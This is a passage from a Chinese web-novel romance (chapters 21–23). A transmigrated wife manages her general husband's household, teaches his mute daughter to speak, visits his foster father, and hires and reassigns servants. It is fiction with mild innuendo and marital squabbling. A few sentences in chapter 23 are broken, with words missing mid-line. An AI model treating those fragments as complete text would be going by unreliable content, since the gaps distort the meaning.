怎么也应该是三头鲍,天九翅,白花胶。
21、第二十一章
“……清点完库房后,虞女去见了使君那儿借来的嬷嬷,问了她专供节度使府邸采买的商户,一下午见了几家商户,一口气花出去了五百两白银订货。”
说起宓瑶今日花出去的银子,濮青现在都忍不住咂舌,这才新婚第一日就那么能花,长而久之主子怎么养的起。
“就这般?”
萧欻已经处理完了公务,站在书桌前提笔悬腕地在练字。
听到濮青的话,他神情不波不动,显然没把五百两放在心上。
感觉主子没有与他一样觉得宓瑶得寸进尺,濮青加码道:“虞女清点库房,见到好东西便让奴仆搬到她的屋子,还给她的奴仆赏赐许多,方才还去账房要了百贯说明日见府中下人时好给他们赏赐。”
如此奢靡,已是该罚的程度。
可惜屋中愤慨的只有他一人,他说完没听着主子开口,就晓得这些事主子依然不在意。
既是这样那明日虞氏赏钱他少不得去凑个热闹。
好叫虞女知晓她做的事情,都有他这双眼睛帮主子盯着。
等到萧欻再回主院,宓瑶已经搬进了院内侧房,他睡觉的屋子恢复了原样,不见任何碍眼的红色,连那股浓密的甜香也消散一空。
只是他站在院中,听到不远处宓瑶屋里发出的乐器动静,蹙了蹙眉。
他忘了宓瑶是活人会发出噪音,早知道该让她去隔壁院子居住,而不是跟她共用一院。
此时此刻宓瑶屋内。
宓瑶洗完澡后,倦怠地躺在紫檀木螺钿榻上,闲书也懒得看,眼眸划过屋中她从库房扒拉来琉璃风灯,鎏金镶嵌红宝石熏炉,唐三彩凤首瓶……
手时不时揉一下旁边萧善的脸蛋。
萧善在屋内没有戴帽子,散着蒲公英般的发丝,专心致志地摆弄她刚得的小玉笛,嘴唇凑到孔上每次吹出一点声响,她都惊喜地蹭一蹭宓瑶,让她晓得她能发出声音。
“咱们的萧小娘子往后说不定是个器乐大师。”
宓瑶配合地夸赞道。
见她说完了,萧善更起劲鼓着腮帮子乐呵呵地吹笛子,兴致来了,她起意教萧善说话。
她与萧善亲近,不必打听就会有关于萧善的消息汇集到她跟前。
萧善不会说话的事,萧欻不是没管过,萧善两岁时萧欻为她请过大夫,而且不止一个。
每个大夫得出的结果都一致,萧善的嗓子没什么问题,不会说话要不就是学说话学得晚,要不就是脑子有些问题现在还小看不出来。
萧府频繁请大夫,外头有了些风言风语,大多都是说萧欻煞气太重,杀得人太多,所以老天夺走了他小女儿说话言语的能力。
不知道是不是气愤这些言论,之后萧欻既没给萧善请僧人化煞,也没给萧善继续请大夫看诊。
她确定小萝卜的脑子没问题,那自然就是学说话学得晚了。
“笛——子——”宓瑶指了指小萝卜手中小玉笛,张嘴缓慢地发出这两个字音。
萧善瞪大眼睛看着宓瑶的动静,见她说笛子,萧善点头,举起了她手里的玉笛,表示自己知道这是笛子。
等到宓瑶再次张嘴缓慢的吐出这两个字,萧善明白了宓瑶是想让她学,她顺从地张开了嘴,跟宓瑶做出一样的口型,只是没有声音。
宓瑶也不急,随意地指着屋子里东西,放慢语速让她模仿。
这种教说话的方式,她两个哥哥也教过她,她每次发出啊啊几个声音就发现口水会流出嘴巴,因此不愿意再张嘴。
现在老师换成宓瑶,她就来了兴趣,先是模仿宓瑶的嘴型没有发出声音。
见宓瑶没了兴趣去拿桌子上的书本,她还想跟宓瑶玩,就指着宓瑶刚刚教过的东西名称,一个个地“啊啊啊”过去。
听着也不是纯粹“啊”,调子还是有些趋同原本的叫法。
宓瑶挑了挑眉,奖励地揉了揉萧善的脸蛋:“小娘子真聪明,我再教你一遍?”
萧善用力点头。
宓瑶再教了一遍,只是这一遍到最后她指了指自个:“阿——娘——”
她突然想起了个说法,孩子学说话最简单最容易学的就是喊父母。
这会没有妈这个喊法,母亲这个称呼发音又太难,她就教了娘。
而萧善明显对这个称呼很有兴趣,把玉笛抛到了一边,开始指着宓瑶啊啊啊起来。
宓瑶头发晾的差不多她依然在啊啊啊。
“小娘子叫着有些像阿娘了。”
霜华进屋熄烛火,在旁听了几声,觉得萧善发出的声音已经跟“娘”差不离多少。
“嗯……”
宓瑶有气无力地应了声,她这会开始后悔教萧善这个称呼了,一是被魔音折磨的不行,二是开始担心以后萧善就学了这个称呼,凡事都要叫一声她。
萧善沉迷进步,宓瑶忍着没打断她,等到要熄烛火才捏了捏她的脸。
“睡吧,明日再学。”
萧善听话地“嗯”了声。
这一声发的像模像样,宓瑶来了点成就感,等到把她送到乌木鎏金玉兰纹的屏风后的小床睡下,瞧着她乖顺的模样,宓瑶在她额头上亲了一下。
萧善原本就舍不得宓瑶,上了床依然睁大着眼睛瞧她,被她那么一亲,萧善的眼眸睁得更大,圆滚滚像是流光溢彩的宝珠。
摸了摸额头又摸了摸自己的唇。
见萧善又要精神饱满起来,宓瑶捏了捏她的脸,警告道:“闭眼,睡觉!”
等到萧善闭眼,宓瑶才转回床榻。
只是她不晓得,她刚走萧善又睁开了眼睛,继续摸摸她被阿娘香香软软嘴唇碰过的脑袋。
*
翌日宓瑶醒来,第一眼又是看到的萧欻。
连续两日这般,宓瑶觉着自己都要被他吓出毛病了。
瞅了眼本来在她身上,却掉落在地上的软衾,摸了摸隐隐作痛应该是被捏过的脸颊,宓瑶哼哼唧唧:“萧郎你就是这般唤醒娇花?”
到了用朝食的时辰,萧欻依然没见宓瑶,就知道她昨日答应他的说辞纯属放屁敷衍。
知晓让她的丫鬟叫她,她长不了记性,他就亲自来了。
谁知道她睡着后宛如死猪,他把被子给她掀了,她还闭着眼呼呼大睡,一点要醒来的迹象也无。
见她此时语调含糊,睡眼朦胧,肌肤却干净无暇,宛如被朝露唤醒的娇花。
他越看越觉着她是不是早醒洗漱过后又上床装睡,就为了在他过来时刻意对他做这副姿态撩拨他。
“善儿为什么在这?”
萧欻不接她的话茬,而是垂眸去看床侧的萧善。
被他提醒,宓瑶才发现萧善不知道什么时候从自个的小床跑了她的榻上,幸好萧善带着自个的小被被,不然就要跟她一样在睡梦中被掀被,现在环着胳膊冷的发颤。
“萧郎,人家冷。”
宓瑶朝萧欻张开了胳膊,“你要么抱你娘子过去取衣,要么你帮你娘子把衣裳拿过来。”
不是帮她,而是帮他的娘子。
萧欻狭长的冷眸扫过宓瑶身上不厚的布料,他甚至能瞧见她受凉的胸前,顶起了她小衣上的樱桃绣花。
这般姿态竟然是虞氏嫡女。
还是他们门阀世家的嫡女在外犹如高山冰莲,对内就是这副模样。
萧欻还没动,就见不知何时已经醒了的萧善,套上鞋哒哒哒的要去给宓瑶取衣裳。
可惜她走了一半就被萧欻拎起,萧欻把人塞回了屏风后属于她的小床,开口威胁道:“不想被我吊起来,就躺好别乱跑。”
“啊——哒——”
听到萧善开口,萧欻微怔了下,还不等他辨别萧善是不是在叫他阿大。
就见瞪着眼的小丫头,抬手给他脸一掌。
萧善的力道算不上什么,但成功让萧欻脸色乌云密布。
虞氏都教了萧善什么!
接住了萧欻抛到她身上的披风,见着萧欻黑如锅底的脸,宓瑶只以为他是不乐意为她服务,浑然没想到她听到那声像是拍蚊虫的声响是萧欻挨了一巴掌。
“我等你半刻钟,若是迟了军法处置。”
听到军法处置,宓瑶无辜的眨眼,娇柔的声音放低:“我又不是兵将怎么就军法处置了,萧郎不会是在与我说夫妻间的情话,打算用来打我屁股的棍子是萧郎的……”
宓瑶意有所指地看向萧欻的身下,话没说完,就被萧欻随手拿的杯子砸了肩膀。
“闭嘴。”
萧欻控制了力道,宓瑶依然吃疼,没想到他说不过就直接动手,宓瑶往床上一趴,被披风包裹的身体不停颤动。
像是受了委屈在痛哭。
“你又如何?”
“萧郎娶我前说什么我是娇花,如今娶到手了,就那么欺负我,听到世上有仗着自个体壮打女人的男子,我还以为那是极恶的人才会这般,没想萧郎也如此……”
宓瑶边说边呜咽。
听到宓瑶的哭声,被被子紧紧包裹的萧善挣脱了束缚,跑到床榻上去摸宓瑶,瞪了萧欻片刻,大约是判断出她也打不过他,无计可施只能张嘴哭了起来。
两个女子一个高声如尖嚎,低声如蚊虫嗡嗡,萧欻咬牙:“我方才的力道算是打你?”
他若是真打,她肩膀就会因骨头断裂抬不起来,而不是像现在这般,能让她举着胳膊捂着脸装哭。
22、第二十二章
早上的闹剧以萧欻摔门离开而终止。
宓瑶以为萧欻至少会退步道个歉,谁知道他人品那么差,竟然直接走了。
抹了抹脸上不存在的泪,宓瑶拍了拍萧善:“人都走了,咱们甭哭了。”
萧善还没学会装哭的技能,她的哭是真的难过,怕萧欻欺负宓瑶。
此时见宓瑶轻松肆意的笑容,加上宓瑶说的话,她懵懂中好像懂了什么,抽了两下鼻子就不哭了,只是挂着眼泪委委屈屈地看着宓瑶。
“好好好,下次我要是装哭,就给你个眼神教你也晓得,让你与我一起装。”
宓瑶哄小萝卜道,浑然不觉这样教小孩有什么不对。
哭这项技能就该是当小孩时放纵使用,等到年纪渐大这招就不好使了,哪怕她长得那么漂亮,萧欻那莽贼都能视而不见。
萧欻关了门扉并没有立刻离开,自然听到他一踏出门扉屋内的哭声便戛然而止。
忍了又忍他才没有回头将门踹开,瞧瞧她们看他转回是不是要再哭一场。
宓瑶没忘昨日萧欻提及要去节度使府邸给赵天赫问安。
哄好了萧善,她一刻钟不到便打扮妥帖,拿了块桂花糕边走边吃,去萧欻书房门口邀他出门。
萧欻出来时宓瑶正好吃到了最后一口,她闭着嘴巴绽颜朝萧欻笑了笑,就像方才在屋里的闹剧是一场幻觉。
萧欻嫌她笑的碍眼,抬步走在前面,步伐越走越快,明显不愿意与她同路。
宓瑶乐得轻松,坠在他身后开始啃第二块桂花糕,只是出了二门,见萧欻往马厩直行,她才有了些烦恼,她倒是能厚着脸皮提出跟萧欻共骑一马,但萧欻应该不愿。
正想着就见马夫驱车过来,等出了大门宓瑶听到马蹄声,掀开帷帘朝萧欻笑靥如花:“郎君真周到,竟然早早让人备了车。”
“坐好。”
萧欻不喜周围路人的注目,取出腰间佩剑压下了她挽起锦帘的手。
刀鞘冰冷的寒气侵来,宓瑶撅唇,嗔了萧欻一眼。
萧欻冷然收回视线,本打算驱马先走,余光却发现不少百姓围聚在马车的另一侧,大有随着马车移动的意思。
目光触到有男子目光呆滞,嘴角流涎,萧欻拉扯缰绳,策马刚到换一侧,就见帷帘猛然落下,在风中荡了荡。
放下帘子一会,宓瑶觉得差不多了,又掀开了一个小角,刚凑过去视线便毫无防备地与萧欻肃杀的目光对上,宓瑶吓了一跳,往后一退拍了拍心口。
“夫人怎么了?”
诗雅见宓瑶猛然退回,连忙扶住了她。
还能是怎么,自然是见鬼了。
马车的窗口与萧欻的身高并不齐平,也不知道萧欻是怎么刚好抓住她掀帘子的时刻吓她。
想到萧欻为了吓她那么一下,很可能一直弯着腰靠近马车窗口,脑海浮现他在马上弯着腰撅着屁股的蠢样,宓瑶又乐了起来
不过她这乐没乐多久。
马车倏然停下,她还以为是到了,谁知道下一刻,高大的萧欻拨帘进了车内,目光交错,宓瑶脸上的笑一僵。
“郎君不骑马了?”
“不骑。”
“那马怎么办?就丢在路上?”
“它与你不同,它聪明识路,晓得乖巧跟在车后。”
萧欻说完,就听宓瑶重重一哼。
“美人多有,但心思都写在脸上,对夫君百依百顺的笨蛋美人却难见,郎君知道我笨,往后要多宠我才是。”
哪来的歪理。
这世上明明是蠢人多,聪明人少,到宓瑶嘴里就成了蠢人难得要好好珍惜。
萧欻瞥向宓瑶张合不断的嘴巴,懒得与她争辩:“闭嘴。”
双马并驱的翠盖珠缨车,车内空间不小,但萧欻个子太过宽大,他一个人相当于两个宓瑶。
所以他上车后,诗雅就自觉地下车步行。
宓瑶不想下车走路,但也不想与萧欻一同待在这个窄小空间,安静沉默地四目相对。
所以她往他身上一倒,躺进他的怀里。
萧欻本以为她有什么花招却不见她动弹,低眸一看,发现她早已闭目养神,明显只是把他当做了靠垫。
不知她与她那个情郎是否也这般相处。
开始定然也是这般,不若在荆州时她都把那书生骂成了龟孙,那龟孙依然对她恋恋不舍,挡在她的面前非要把她带走不可。
说聪明她的确不算有脑,但说蠢,她又懂得审时度势,晓得做什么选项对自个有利。
一个有脑子却不爱用,给她金银珠宝,就能换来她乖顺娇媚的漂亮女娘。
算是应了她说的笨蛋美人。
*
嗅了一路宓瑶身上的香气,到了节度使府萧欻抬步走在前头,想清一清鼻尖的气味。
不过没几步便有脂粉香扑面而来,气味浓烈繁复,还不如宓瑶身上似麝非麝的暖香。
“九哥,九嫂。”
潘氏福身见过两人,“父君知道九哥与九嫂要来,今日早早就在正厅等着,盼着能早些见到你们。”
潘氏说着自然而然地站在了萧欻的身侧,“那日虎头与二郎打闹,我仔细问清了始末,二郎没说假话,虎头被他阿婆宠的不成样子,做错了事也不认,我已经好好训过他。”
萧欻随意嗯了声,明显对这件事的是非对错并不关心。
见状,潘氏垂眸取了帕子压在眼角:“虎头虽是我十月怀胎所出,但马家阿婆性格执拗,我训虎头她便训我,还对我动了手,我实在无法只能求助父君从马家搬出,暂住在使府之中,若是当初我选九哥也不会短短一年就守了寡,还受这般欺辱……”
发现自己话赶话越说越多,潘氏连忙捂住嘴,抬眸小心去瞧萧欻的脸色。
见萧欻面无异状,她不知他是听不懂她的暗示,还是听懂了因在外面刻意装作镇定。
想着,潘氏回眸又去看宓瑶。
相比萧欻,走在两人身后的宓瑶捧场得多,她专心地在听潘氏说话,在潘氏回望时恰如其分地露出了惊讶的神色。
“我不该说这些,只是见九哥成婚,忍不住怀念以往,年少时九哥对我最最好了。”
萧欻虽不知自己何曾对潘氏好过,但还是开口道:“若不愿留在马家,和离便是,父君会为你再择良婿。”
听到萧欻开口,潘氏心中激动,面上却一片哀戚:“父君提过这事,只是我怕自个再一次选错人,九哥若是身边要是有像九哥一般的好男子,一定要为了阿妹牵线。”
潘氏眸光殷切,萧欻脚步顿了下,目光在潘氏脸上停留一瞬,便看向了在身后磨蹭的宓瑶:“没腿的都比你行的快。”
“那是因为没腿的人用了逍遥车,轮子自然跑得比人走得快,再说没腿和美腿,郎君是喜欢没腿还是美腿。”
宓瑶边说边小跑了两步,停在萧欻另一侧后,她伸手握住了他的袖摆,调笑道,“郎君是瞧够别人,又想瞧瞧我了?”
仰着头,宓瑶想模仿潘氏那副情态,但还没模仿出来,萧欻就回眸没再看她。
见潘氏没控制好神色,看她的目光隐带愤恨,晓得潘氏这是上次在她这里吃瘪之后,不愿意再费力在她面前装模作样,宓瑶朝她眨了眨眼。
都是想当娇妻的,半斤八两,那就别大哥笑二哥了。
*
婚堂行拜礼时宓瑶见过赵天赫。
当时觉得对方是模样儒雅,有些年纪的憔悴老帅哥。
现在再见,还是儒雅的老帅哥,但憔悴更重,没有刻意戴帽遮掩的半头白发,看着要比他本来年纪要老上十岁。
按着书中的时间线,赵天赫这时已经是外强中干,旧疾缠身靠良药续命。
安稳了几十年的益州马上又就要乱起来。
不过这些都与她无关,只要她不作死,萧欻的后院何时都是最安全的地方。
为了避嫌,赵天赫没与她说几句,给了她见面礼后,嘱咐她要与萧欻好好过日子,照看好萧欻三个孩子,便领着萧欻去了书房,让潘氏与妾侍陪她说话。
书中说赵天赫发妻和孩子去世后,他就没有续娶,宓瑶本以为他是难得的痴情人,谁想到他还有一个妾侍。
赵天赫的妾侍方氏年岁三十左右,容貌算不上出众,但身上穿戴却极有排场,两根粗大的赤金如意簪,云鬓前头插着鎏金镶翠玉芙蓉如意纹栉,身上衣裙用的布料也是上好,与昨日她找采商订货,有银子也没法子大量定的上等蜀锦差不离多少。
说是陪她说话,但赵天赫走后两人默契地玩起了排挤游戏,视线全都避开了她,沉迷于只有她们聊得上的对话。
她们不愿带她,她还懒得掺和,等到萧欻与赵天赫聊完寻来,她立刻站起了身,快步走到了萧欻跟前,摇着他的衣摆催他快走。
萧欻朝屋中两人点头示意,出了院落,才朝宓瑶问道:“怎么?”
“你的青梅竹马没讨到你的好,把气撒在我身上了呗。”
宓瑶神色严肃地告潘氏黑状:“你可不能与她搅合,她一瞧就不是个老实的,若是够美,心思多那也是愿意为萧郎费心,是男女之间的情趣,但她的模样不值,萧郎沾上她少不得家宅不宁。”
萧欻低眸睨她,听出她又拐着弯夸自己。
少年时被赵天赫告诫过女色误事,他的注意力就未曾放在女人身上。
潘氏稍有不同,当年赵天赫提及要把潘氏嫁予他,他便关注了几分,在他眼中潘氏算不得极美,可相比于周遭的女人已经是出挑。
但在宓瑶嘴里,潘氏的相貌就成了不值一提。
萧欻目光落在宓瑶的脸上,明白她的分量标准,但却不想听她踩一捧一,把她自个夸成心眼多也可爱讨喜的百花之王。
“怕潘氏与你抢,那方氏?”萧欻注意到知道方氏身份后,她情绪倏然地下沉。
“我本以为使君痴情,没想着他有妾侍。”
面对萧欻审视的目光,宓瑶懒得撒谎,实话实说道。
“方氏只是为父君管理后院,算不得父君的女人。”
见他解释完,虞女眼眸明亮许多,萧欻瞧不惯她管天管地,知晓他养父是真痴情便一副赞扬感动的模样。
张嘴道:“你前日说的女子寻了没有,我可不同父君般对妻子痴心,你容不了就替我找个能容之人过来。”
顿了顿,萧欻扫过宓瑶的芙蓉面,“相貌只能比你好,不能比你差。”
目光相对,宓瑶一脸无辜,这不是为难她这个极品娇妻。
23-30
第23章 第二十三章【VIP】
给萧欻找女人这事宓瑶就是随口一说。
倒是舍不得萧欻的银两多一个女人花销,就是觉得怪异以及麻烦。
在小说里萧欻既没跟原主睡,也没跟其他女人睡,那就证明他并不是重欲的男人。
既然如此怎么换成她,他就得要个能容他之人了?
想是那么想,但为了交代得过去,她买奴仆时还是跟牙人交代,让他帮寻一个几个貌美的女子过来。
“年纪不要太小,嫁过人也无碍,主要是貌美,比我美最好,若是没我美也要与我平分秋色。”
牙人一脸为难:“夫人,找貌美的女子不难,但与夫人平分秋色,怕是多少银子都寻不来。”
刚进屋他就被宓瑶的美貌所摄,怕露出丑态惹贵人不喜,他一直都是低头回话,此时听到宓瑶的要求,他悄悄抬头窥了她一眼。
这一眼更觉得宓瑶美如仙姝,凡间难寻。
这世上就算真有与她平分秋色的女娘也落不到他一个小小的牙人手上。
“你慢慢寻就是,不急。”
反正她就是应付差事,面对萧欻有个说头,牙人找不到才好。
找到她还要费劲跟对方比美找借口把对方淘汰。
交代完这事,宓瑶就开始了选仆。
她与节度使府邸的管事嬷嬷商量后,萧府至少还要买十到二十个下人。
现在的人只是勉强让府邸的主子吃得上热饭热菜,有衣可穿有水可用,完全不能维持府邸正常的运转。
宓瑶觉着也是。
看过府邸有景可赏的样子,她就不想回到到处都是枯枝残叶,一溜花坛全是死花的模样。
花匠要两个,打扫的粗使四个,厨房再添两个人,萧翼与萧良添两个小厮,萧善添两人,一个可以做她玩伴的小丫头,一个能照顾她的婶子。
还有她身边也要在添两个丫头,免得到时候霜华她们升为管事,她身边缺了伺候的人。
原本她以为作为压迫者把人当做物品选择购买,她会过不去她心里的那一关。
但实际一排穿着补丁高矮不一,但统一瘦骨嶙峋的人站在她面前,触到他们麻木又期待的目光,她没产生什么压迫了他们愧疚。
在这时代谈压迫,她还不如贯彻除了她其他人都是纸片人的想法,让双方都觉得自在。
把人一个个仔细地看过,先筛了看不顺眼的,再一一叫上前来问话。
再筛了两个口音她实在听不懂的,牙人带了二十个人来,她选了二十四个。
见人太多,她差人去请了萧欻身边的长随,让他过一遍眼,免得有人往之中穿插细作。
濮青满意宓瑶的识趣,把人带走后,半个时辰后给宓瑶留下了二十人。
人选好了,宓瑶没急着让他们走,而是站在一旁,让他们看府中老人上前领赏。
“我在府邸住了几日,瞧你们不少人都觉得眼熟,但因为之前还未与郎君成婚,我也未曾仔细认识你们,如今你们来给我问安,便一个个上前说清楚自个名字,年岁多大,入府几年,在府中平日都负责做些什么?”
看守库房的郑管事与账房乌管事,宓瑶昨日就已经见过给了问安的红封,这次就没让他们过来。
今日在场最体面的仆人是濮青,见濮青没有领头的意思,剩下十几人老仆相互看了看,最先站出来的是范嬷嬷。
范嬷嬷一膝盖跪在了地上,笑的谄媚:“夫人,老奴姓范,小娘子一岁时便进府伺候,跟小娘子情分非常,整颗心都扑在了小娘子身上,今日小娘子穿得衣裳就是我裁的布。”
听说宓瑶与镇使成亲两日就分了房,范嬷嬷看不上宓瑶,但见她新买了那么多奴仆,大半又都是往听松院放,她就不得不心虚起来。
镇使不喜欢宓瑶又如何,只要宓瑶一日是镇使夫人,想赶她出府便是几句话的功夫。
范嬷嬷说完后,心情忐忑,没想宓瑶只是看了她两眼一句话没说,接过诗雅递过来的问安赏银,她又觉着宓瑶没什么可怕。
一个不得宠爱的远嫁女娘,看不懂萧欻眼色,喜欢多管听松院的闲事,日日把萧善带在身边。
不过现在面子光鲜,迟早要倒霉。
有了范嬷嬷领头,下一个奴仆接着上前,跪下前宓瑶开口阻拦道:“没放跪团,便是不需你们跪着问安,站着方便我瞧清你们的模样。”
宓瑶一说,屋中嬷嬷。
涨红,因为马阿婆那一层关系,她一直觉得在府中除却乌账房他们几个,便是她最有资历最厉害,子,让她在其他下人面前丢人。
,但宓瑶却像是没察觉,赏银一个个发下去。
到了最后剩了一个最大的,她瞧向在旁当门柱的濮青:“今日辛苦你了。”
“这是属下份内事。”
赏钱,但没想到红封会那么重,一时间思绪纷飞,知晓这些全都是主子的银子,但对上虞女面上的笑,嘴,愿夫人福寿安康。”
他说完,屋中其他奴仆识趣重复了一遍,整齐的声响让路过的萧欻顿了下步子。
瞧见屋中领头的是他的长随,萧欻神色淡淡,还记得他刚占这府,这些仆人都没如此认真地欢迎过他。
他本打算在厅上露个脸,让新奴知晓他是府中主子,顺道让不着调的宓瑶有几分底气。
但见她自个就能让他的长随给面子,领头问安,他脚步一转,免得看到她得意的嘴脸。
赏府中老人还不算完,知道萧欻身边不需要添伺候的下人,宓瑶就把濮青打发离开,开始划分新奴的去处。
府中现在最需用人的地方为二处,一是需要打扫的粗使和侍弄花草的花匠,二是在听松院立的起来能照顾几个萝卜头的管事,二就是大厨房。
她吃喝都在小厨房,本来是不打算管大厨房,但昨日她看食材逛到了大厨房,发现供给府邸老小饮食的大厨房到处都是污垢油腻,菜品乱放。
问了一遭厨师也不是专门请的,而是马阿婆介绍过来的亲戚。
这真就是逗趣了,要不是看过萧欻对马娘子的态度,她都怀疑萧欻对马娘子一往情深,容着马家不断往萧府塞人。
“二人为一组,每组旧仆暂为管事,若是缺少物件就直接报给霜华知晓,一个月后,我会看你们展现的本事,重新划分你们能做什么,并且选出管理各处的管事。”
宓瑶话落音,厅内便嘈杂起来。
新仆没想到才进府中就有可以当管事的机会,旧人则是没想到他们一个月后可能被新人压在头上。
其中范嬷嬷跟大厨房厨子最为忐忑,觉得宓瑶就是冲着他们来的。
宓瑶的话许多人都不愿,但都不敢开口。
萧府主子少,萧欻又是个不管事的,往常萧欻不管,他们在府里自在,如今来了个宓瑶管事,他们想告状也不敢去萧欻那儿啰嗦。
分组的事宓瑶没插手,而是交给霜华。
在虞家时,霜华虽然是大丫鬟,但宓瑶的院子就那么大,加上有乳嬷嬷在,她根本没管过什么事。
寻常让她训斥一两个小丫头她没压力,如今让她管将近四十个人,被这些人齐齐瞧着,她的脚都忍不住发颤。
但就是这样,为了不丢人她还是按着宓瑶的意思,一组组的把人划分清楚,在册子上记下了领头的旧人。
听出了霜华声音发颤,范嬷嬷在心中翻了个白眼,觉着管事怎么也该落在她头上,让那么一个小丫头来,她怎么可能管得好。
她不服气,但见听松院一口气进了六个人,她只能憋着气,打算等会去找娘家姐姐讨办法。
“夫人,我怕我做不好。”
等到府中的仆人退去,霜华局促地朝宓瑶道。
她知晓主子想培养她,这是天大的好事,但让她来做管事嬷嬷的活,她心里头虚得很。
“做不好就慢慢学,拿不定主意的事可以问使府来的嬷嬷,或者直接问我,虽然很想撒手把事情丢给你,但在你立不起事之前,我不会什么事都不管。”
说着,宓瑶看向诗雅。
还未开口,诗雅就跪下道:“夫人放心,奴婢会调教新进院的丫头,顾好夫人院里的事务,为霜华姐分担免夫人费神。”
知道自己不如霜华跟宓瑶亲近,诗雅越眼馋落在霜华手上的权,就越知道自个要尽心伺候宓瑶,得到她的信任。
见诗雅识趣,宓瑶点了点头,开口问了另一遭事:“罗嬷嬷是收拾包袱跑回了江南还是如何?”
今日问安独缺了罗嬷嬷,不晓得还道她是什么老夫人,老神在在等着她去跟她请安。
“罗嬷嬷在后罩房住着,她一来便占了仆人房里最好的屋子,也不同其他老媪同住,每日吃喝还是从小厨房拿的吃食。”
诗雅急切答道,“知晓夫人不喜罗嬷嬷,奴婢们都没搭理罗嬷嬷,但她死皮赖脸,动不动就用大夫人压奴婢们,奴婢们才任由她这般。”
这些日子她没听罗嬷嬷在她耳边嗡嗡。
她之前是李氏院子里的丫头,罗嬷嬷就自动觉着她跟她是一起的,弄得她不胜其扰。
不管以前如何,她现在身契在宓瑶手上,这里离江南山高水远,她还能不听宓瑶吩咐?
再说宓瑶相比李氏脾气要好得多,只要听宓瑶的话,宓瑶便是最好的主子,既不磋磨下人,对身边人又大方。
傻子都知道选谁忠心。
“她倒是过得逍遥,等会便让她去干粗使的活,有的干才有的吃,她不听话就派两个力大的去看着她。”
懒得管事时当然是什么都不管,现在要管事,自然是什么都处理干净了。
再者她是真讨厌有人过得比她还舒服,“要人看着她,那就等于她一个人耽误二个人的活,她一日做不成二份工便别歇了。”
听到罗嬷嬷的下场,诗雅缩了缩脖子,她以为罗嬷嬷再不济就是不得主子重用,现在看来苦日子都在后头。
“你又怎么?”
处理完事情,宓瑶打算带着萧善去找萧良一同用膳。
就见虞琇撅起个嘴巴,愁眉苦脸地看着她。
“阿姊为何要找貌美的女子?”
“为了少吃苦。”宓瑶边走边随口敷衍。
“阿姊到底跟姐夫有什么误会,阿姊就不能哄哄姐夫,与姐夫解开误会?”
是听到宓瑶让牙人找美人,她憋了许久,现在没人了她才敢问是什么意思。
成婚一日就分房,府中本就议论纷纷,长此以往,什么马阿婆,牛阿婆的不是更嚣张。
宓瑶对上虞琇认真的眼眸,别的不说,这小姑娘为了她受不受宠真是操碎了心。
怕虞琇又起什么不该有的念头,宓瑶直接道:“你姐夫癖好异常,女子到了他手上不死也只剩半条命,他怜惜我,想看我鲜活模样而不是要死不活的惨状,所以新婚第二日便主动提出分房,但中馈交予我就证明虽然分房他还是爱重我。”
听到这话,虞琇一愣,她还不懂男女之事,更不明白男子有什么癖好会让女子只剩半条命。
难不成是会拳脚相加?
想想萧欻的个头,一拳下去的确会只剩半条命。
“姐夫怎么会这样……”
虞琇瑟瑟发抖,明白了那日阿姊身上为什么有淤血,嘴唇也是肿的。
被吓到的不止虞琇,感觉到自己握着的手不停发颤,宓瑶低眸一看,小萝卜眼泪汪汪的也在抖。
好了,这会不止虞琇会离萧欻远远的,萧善这个女儿也会瞧见他就像见到了魔鬼。
*
萧翼收假又开始早出晚归去书院,他一走,萧善又跟着宓瑶,萧良在听松院就成了孤单一人。
宓瑶去找他时,就见他盘腿坐在凳子上,百无聊赖地摆弄手上的九连环。
想到她要是不来,他很可能会那么渡过一天,宓瑶又开始同情心泛滥。
若萧良年岁稍长一些,她能对他视而不见,但他虽然比萧善大两岁,在她看起来两个萝卜头大小差不多,都是不怎么懂事,只会用湿润眼珠子瞧人的幼童。
“母亲。”
看到宓瑶,萧良眼睛亮了亮,只是他盘腿盘了太久,腿麻了跳下凳就腿软趴在了地上。
“怎么就摔了。”
宓瑶被他的五体投地吓到,本以为会听到孩子爆发的哭声,没想到萧良爬起来,咬着唇一副想哭忍着哭的可怜模样。
这都被他爹训成什么样了。
听说萧欻不许二个孩子哭,她听着觉得舒心,谁没事会想听孩子哭闹。
但此刻见萧良憋着眼泪,不妨碍她觉得萧欻人坏,从而升起做好人的念头。
“哪儿疼?伤了我带你去涂药。”
宓瑶蹲下,等萧良同意后,推上了他的裤腿。
他衣裳穿得厚,膝盖上没有摔伤,只是有一点红。
“母亲我不觉得疼……”他想哭不是因为摔疼了,而是觉得在母亲面前丢人了,怕母亲觉得他没用连走路都走不好。
“善儿过来给你哥哥呼呼气。”
“嚎……”
萧善听话地应了声,凑到萧良的膝盖前面吹了吹,“不……蹬蹬……”
“善儿你会说话了?!”
萧良顾不得觉得丢人,惊讶地看着萧善,萧善不回答他,他不知道怎么办,就抓着萧善的胳膊,埋头去看她的牙齿,“牙齿好像是大了一点。”
妹妹不会说话,兄长就与他说是因为妹妹牙齿没有长好,等到牙齿长好了就能说话了。
所以他格外关注妹妹牙齿的生长状况,没事就数一遍妹妹的牙齿。
二十颗牙齿与上次数过的一样。
既然不是多长了牙齿,他看来看去只能是牙齿变大了。
萧善被看的不舒服,感觉被掰开的嘴要含不住口水,指着萧良朝宓瑶告状:“……阿坏!”
“善儿怎么能说我二哥坏呢,二哥那么喜欢你。”
摔倒萧良没哭,但听到妹妹说他坏,忍不住抹了抹眼泪,“善儿,二哥不坏!”
“坏!”
“不坏!”
“你……嗨!”
宓瑶本来想阻止两根萝卜吵架,但见他们有来有回,萧善努力认真的发音说话,她觉得好笑,干脆让诗雅去小厨房把饭菜送到听松院。
等到萧善吵累了趴在宓瑶腿上,萧良注意到屋里还有宓瑶,害羞低了头片刻,想到妹妹可以说话了,才又鼓起勇气看宓瑶:“母亲,妹妹会说话了,她不是傻孩子。”
“你妹妹当然不是傻丫头,她只是先前不想学说话。”
“是母亲让善儿想学了吗?”
萧良眼眸亮闪闪,觉得母亲就跟话本里的仙女一样,不止温柔好看,而且还心地善良。
她不止把妹妹带在身边,还让妹妹会说话了。
跟萧良的目光相对,宓瑶发现这小子特别会给情绪价值,每次瞧她的目光都感情充沛,让她觉得自个干了一件天大的好事。
也不知道萧欻是怎么抵抗这种眼神对他冷言冷语。
“不算我的功劳,你妹妹会说只是懒得说罢了,你往后多与她说话,她心情好了便会学。”
“母亲,我知晓了。”
之后上座吃饭,萧良都在不停与萧善碎碎念,开始萧善还会答几个音节,后面听烦了就捂着耳朵。
在他的念叨里,宓瑶倒是找到了萧善不爱张嘴的一条诱因。
